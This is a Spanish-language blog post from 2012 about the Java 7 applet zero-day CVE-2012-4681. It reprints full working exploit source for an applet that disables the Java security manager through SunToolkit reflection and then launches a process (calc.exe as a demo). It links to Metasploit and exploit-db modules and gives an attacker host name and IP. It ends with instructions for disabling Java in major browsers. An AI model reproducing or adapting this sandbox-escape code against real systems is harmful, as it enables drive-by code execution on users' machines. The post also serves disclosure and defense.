28/8/12

Java 7 Applet Remote Code Execution


Nueva Vulnerabilidad 0 day JAVA (JRE 1.7x)  CVE-2012-4681 (UNDER REVIEW) 

http://cve.mitre.org/cgi-bin/cvename.cgi?name=2012-4681

Código fuente ya se encuentra disponible (http://pastie.org/4594319):


//
// CVE-2012-XXXX Java 0day
//
// reported here: http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html
// 
// secret host / ip : ok.aa24.net / 59.120.154.62
//
// regurgitated by jduck
//
// probably a metasploit module soon...
//
package cve2012xxxx;

import java.applet.Applet;
import java.awt.Graphics;
import java.beans.Expression;
import java.beans.Statement;
import java.lang.reflect.Field;
import java.net.URL;
import java.security.*;
import java.security.cert.Certificate;

public class Gondvv extends Applet
{

    public Gondvv()
    {
    }

    public void disableSecurity()
        throws Throwable
    {
        Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);
        Permissions localPermissions = new Permissions();
        localPermissions.add(new AllPermission());
        ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
        AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
            localProtectionDomain
        });
        SetField(Statement.class, "acc", localStatement, localAccessControlContext);
        localStatement.execute();
    }

    private Class GetClass(String paramString)
        throws Throwable
    {
        Object arrayOfObject[] = new Object[1];
        arrayOfObject[0] = paramString;
        Expression localExpression = new Expression(Class.class, "forName", arrayOfObject);
        localExpression.execute();
        return (Class)localExpression.getValue();
    }

    private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2)
        throws Throwable
    {
        Object arrayOfObject[] = new Object[2];
        arrayOfObject[0] = paramClass;
        arrayOfObject[1] = paramString;
        Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);
        localExpression.execute();
        ((Field)localExpression.getValue()).set(paramObject1, paramObject2);
    }

    public void init()
    {
        try
        {
            disableSecurity();
            Process localProcess = null;
            localProcess = Runtime.getRuntime().exec("calc.exe");
            if(localProcess != null);
               localProcess.waitFor();
        }
        catch(Throwable localThrowable)
        {
            localThrowable.printStackTrace();
        }
    }

    public void paint(Graphics paramGraphics)
    {
        paramGraphics.drawString("Loading", 50, 25);
    }
}


Enlace al Blog de Metasploit Con el anuncio de la Vulnerabilidad para el Framework.
https://community.rapid7.com/community/metasploit/blog/2012/08/27/lets-start-the-week-with-a-new-java-0day

Codigo del Exploit para Metasploit en ---> http://www.exploit-db.com/exploits/20865/


Video demostrando la POC de la Vulnerabilidad



 Recomendaiones para no ser victima del ataque (unica solucion hasta el momento)

visto en: http://www.securitybydefault.com/2012/08/grave-vulnerabilidad-en-java-re-17-como.html


De momento, la única recomendación posible (y tajante como ella sola) es deshabilitar por completo Java de nuestros navegadores hasta nueva orden (hasta que Oracle nos deleite con un parche).

Vamos a dar un repaso por los navegadores más utilizados para saber cómo deshabilitar Java y poder así, navegar tranquilos sin permitir que millones de personas jueguen con nuestros PCs:

- Cómo deshabilitar Java de Internet Explorer
1) Menú de Herramientas (Tools) -> Opciones de Internet (Internet Options)
2) Pestaña Programas (Programs) -> Gestionar complementos (Manage Add-ons)
3) Seleccionar Java Plug-in y deshabilitar (disable)
4) Hacer clic en Aceptar (Ok), y de nuevo Aceptar (Ok)

- Cómo deshabilitar Java de Mozilla Firefox
1) Menú de Herramientas (Tools) -> Complementes (Add-ons)
2) Seleccionar el panel Plugins
3) Hacer clic en elementos cuyo nombre sea Java Plug-in o Java Applet Plug-in. Según el entorno, sistema operativo y versión, el complemento puede venir con un nombre u otro.
4) Hacer clic en el botón "Deshabilitar" (Disable)

- Cómo deshabilitar Java de Google Chrome
1) Accedemos al menú de plugins escribiendo "chrome://plugins/" en la barra de direcciones.
2) Buscar el complemento Java y hacer clic en "Deshabilitar"

- Cómo deshabilitar Java de Safari
1) Acceder a Preferencias -> Pestaña "Seguridad" (Security)
2) Desmarcar la opción "Habilitar Java"

Ahora, ya nos podemos sentir un poco más seguros, por lo menos hasta que se publique una actualización para esta vulnerabilidad.

No hay comentarios: